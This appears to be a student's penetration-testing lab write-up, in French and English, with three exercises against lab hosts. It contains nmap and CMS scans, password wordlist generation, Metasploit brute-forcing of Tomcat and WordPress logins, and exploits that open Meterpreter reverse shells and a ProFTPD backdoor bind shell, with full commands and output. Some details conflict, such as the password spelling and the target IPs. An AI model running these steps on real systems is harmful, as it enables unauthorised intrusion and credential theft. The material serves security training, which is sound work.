

EXO1 :

1)nmap -O 192.168.63.106

```
(root@cheikhmelainine)-[/home/cheikh]
# nmap -O 192.168.63.106
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-30 09:19 EDT
Nmap scan report for 192.168.63.106
Host is up (0.083s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
8080/tcp   open  http-proxy
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.60 seconds

(root@cheikhmelainine)-[/home/cheikh]
#
```

2)crunch 9 9 -t tomcat9%% -o user.txt

```
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat942 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat943 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat944 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat945 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat946 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat947 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat948 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat949 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat950 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat951 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: tomcat:tomcat952 (Incorrect)
[+] 192.168.63.108:8080 - Login Successful: tomcat:tomcat953
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat900 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat901 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat902 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat903 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat904 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat905 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat906 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat907 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat908 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat909 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat910 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat911 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat912 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat913 (Incorrect)
-] 192.168.63.108:8080 - LOGIN FAILED: manager:tomcat914 (Incorrect)
^C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
```

3)use auxiliary/scanner/http/tomcat\_mgr\_login

set RHOSTS 192.168.63.108

set PASS\_FILE user.txt

set USERNAME tomcat

set RPORT 8080

exploit

4)use exploit/multi/http/tomcat\_mgr\_upload

set RHOSTS 192.168.63.108

set RPORT 8080

set HttpUSERNAME tomcat

set HttpPASSWORD t0mcat953

set PAYLOAD payload/linux/x86/meterpreter/reverse\_tcp

exploit

set LHOST 10.11.12.50

set LPORT 4444

exploit

upload 22027.txt uploads

```
35 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Re
36 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Re

msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD payload/linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 10.0.2.6:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying X7MifyukxesY...
[*] Executing X7MifyukxesY...
[*] Undeploying X7MifyukxesY ...
[*] Undeployed at /manager/html/undeploy
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 10.11.12.50
LHOST => 10.11.12.50
msf6 exploit(multi/http/tomcat_mgr_upload) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 10.11.12.50:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying BwKLKlTYJAJ5z1NKn8...
[*] Executing BwKLKlTYJAJ5z1NKn8...
[*] Sending stage (1017704 bytes) to 192.168.63.108
[*] Undeploying BwKLKlTYJAJ5z1NKn8 ...
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (10.11.12.50:4444 -> 192.168.63.108:35094) at 2024-03-30 09:57:26 -0400

meterpreter > 
```

EXO2:

1)cmseek -r -u 192.168.63.106

2)les utilisateurs sont : rss et admin

```

[+] Deep Scan Results [+]
Target: 192.168.63.105
  CMS: WordPress
    Version: 4.6
    URL: https://wordpress.org
  [WordPress Deepscan]
    Readme file found: http://192.168.63.105/readme.html
    License file: http://192.168.63.105/license.txt
    Uploads directory has listing enabled: http://192.168.63.105/wp-content/uploads
    Usernames harvested: 2
      rss
      admin
  Result: /usr/share/cmseek/Result/192.168.63.105/cms.json
Scan Completed in 3.9 Seconds, using 44 Requests

CMSeek says ~ sayonara

(root@cheikhmelainine)-[/home/cheikh/CMSeek]
#

```

3) pour la 3eme question je creez ce code pour generer les mot de pass tel que x est entre 3 et 9

base = "i!0v3hack?ng"

with open("passwords.txt", "w") as file:

for i in range(3, 10):

for j in range(3, 10):

for k in range(3, 10):

# Construire le mot de passe

password = f"{base}{i}{j}{k}"

file.write(password + "\n")

```
base,i,j,k
base,i,j,k
base,i,j,k
base,i,j,k
base,i,j,k
base,i,j,k
base,i,j,k

base = "il0v3hack?ng"
with open("passwords.txt", "w") as file:
    for i in range(1, 10):
        for j in range(1, 10):
            for k in range(1, 10):
                password = "{}{}{}".format(base, i, j, k)
                file.write(password + "\n")

(root@cheikhmelainine)-[/home/cheikh]
# python Q3.py
(root@cheikhmelainine)-[/home/cheikh]
# cat passwords.txt
il0v3hack?ng333
il0v3hack?ng334
il0v3hack?ng335
il0v3hack?ng336
il0v3hack?ng337
il0v3hack?ng338
il0v3hack?ng339
il0v3hack?ng343
il0v3hack?ng344
il0v3hack?ng345
il0v3hack?ng346
il0v3hack?ng347
il0v3hack?ng348
il0v3hack?ng349
il0v3hack?ng353
il0v3hack?ng354
il0v3hack?ng355
il0v3hack?ng356
il0v3hack?ng357
il0v3hack?ng358
il0v3hack?ng359
il0v3hack?ng363
il0v3hack?ng364
il0v3hack?ng365
il0v3hack?ng366
il0v3hack?ng367
il0v3hack?ng368
il0v3hack?ng369
il0v3hack?ng373
il0v3hack?ng374
il0v3hack?ng375
```



[illegible]

4)

```
use auxiliary/scanner/http/wordpress_login_enum
```

```
set RHOSTS 192.168.63.105
```

```
set HttpUSERNAME rss
```

```
set PASS FILE passwords.txt
```

exploit

```

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wordpress_login_enum) > use exploit/unix/webapp/wp_admin_shell_upl
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/webapp/wp_admin_shell_upload 2015-02-21      excellent Yes    WordPress Admin Shell Upload

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_admin_shell_upload

[*] Using exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > use 0
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.63.105
RHOSTS => 192.168.63.105
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME rss
USERNAME => rss
msf6 exploit(unix/webapp/wp_admin_shell_upload) > SET PASSWORD il0v3hack?ng839
[-] Unknown command: SET
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD il0v3hack?ng839
PASSWORD => il0v3hack?ng839
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST 10.11.12.50
LHOST => 10.11.12.50
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 10.11.12.50:4444
[*] Authenticating with WordPress using rss:il0v3hack?ng839...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/SeFGnPseEu/YWXRxtBmKm.php...
[*] Sending stage (39927 bytes) to 192.168.63.105
[+] Deleted YWXRxtBmKm.php
[+] Deleted SeFGnPseEu.php
[+] Deleted ../SeFGnPseEu
[*] Meterpreter session 2 opened (10.11.12.50:4444 -> 192.168.63.105:52768) at 2024-03-30 10:42:26 -0400

meterpreter > 

```

5)cd ..

Search -f encryptedhints.tar.gz

```

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.63.105
RHOSTS => 192.168.63.105
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME rss
USERNAME => rss
msf6 exploit(unix/webapp/wp_admin_shell_upload) > SET PASSWORD il0v3hack?ng839
[-] Unknown command: SET
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD il0v3hack?ng839
PASSWORD => il0v3hack?ng839
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST 10.11.12.50
LHOST => 10.11.12.50
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 10.11.12.50:4444
[*] Authenticating with WordPress using rss:il0v3hack?ng839...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/SeFGnPseEu/YWXrtBmKm.php...
[*] Sending stage (39927 bytes) to 192.168.63.105
[+] Deleted YWXrtBmKm.php
[+] Deleted SeFGnPseEu.php
[+] Deleted ../SeFGnPseEu
[*] Meterpreter session 2 opened (10.11.12.50:4444 -> 192.168.63.105:52768) at 2024-03-30 10:42:26 -0400

meterpreter > search -f encryptedhints.tar.gz
No files matching your search were found.
meterpreter > cd /encryptedhints.tar.gz
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd /encryptedhints.tar.gz
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd ..
meterpreter > search -f encryptedhints.tar.gz
No files matching your search were found.
meterpreter > cd ..
meterpreter > search -f encryptedhints.tar.gz
Found 1 result...
=====
Path                                     Size (bytes)  Modified (UTC)
-----
./uploads/encryptedhints.tar.gz         4935          2024-03-30 03:32:30 -0400

meterpreter > download ./uploads/encryptedhints.tar.gz

```

## Exo3

- 1) use auxiliary/scanner/portscan/tcp  
set RHOSTS 192.168.63.106  
set PORTS 1-1024  
exploit

```

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.63.106
RHOSTS => 192.168.63.106
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1023
PORTS => 1-1023
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024
PORTS => 1-1024
msf6 auxiliary(scanner/portscan/tcp) > exploit

[+] 192.168.63.106: - 192.168.63.106:21 - TCP OPEN
[+] 192.168.63.106: - 192.168.63.106:22 - TCP OPEN
[+] 192.168.63.106: - 192.168.63.106:80 - TCP OPEN
[*] 192.168.63.106: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) >

```



## 2)search 1.3.3c

```
msf6 auxiliary(scanner/portscan/tcp) > search 1.3.3c

Matching Modules
=====

#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  exploit/unix/ftp/proftpd_133c_backdoor  2010-12-02      excellent No      ProFTPD-1.3.3c Backdoor Command Exe

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_133c_backdoor
```

Set RHOSTS 192.168.63.106

Set payload payload/cmd/unix/bind\_perl

Exploit

ls

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set \payload payload/cmd/unix/bind_perl
payload => cmd/unix/bind_perl
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit

[*] 192.168.63.106:21 - Sending Backdoor Command
[*] Started bind TCP handler against 192.168.63.106:4444
[*] Command shell session 1 opened (10.11.12.50:42427 -> 192.168.63.106:4444) at 2024-03-30 12:07:41 -0400

ls
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
```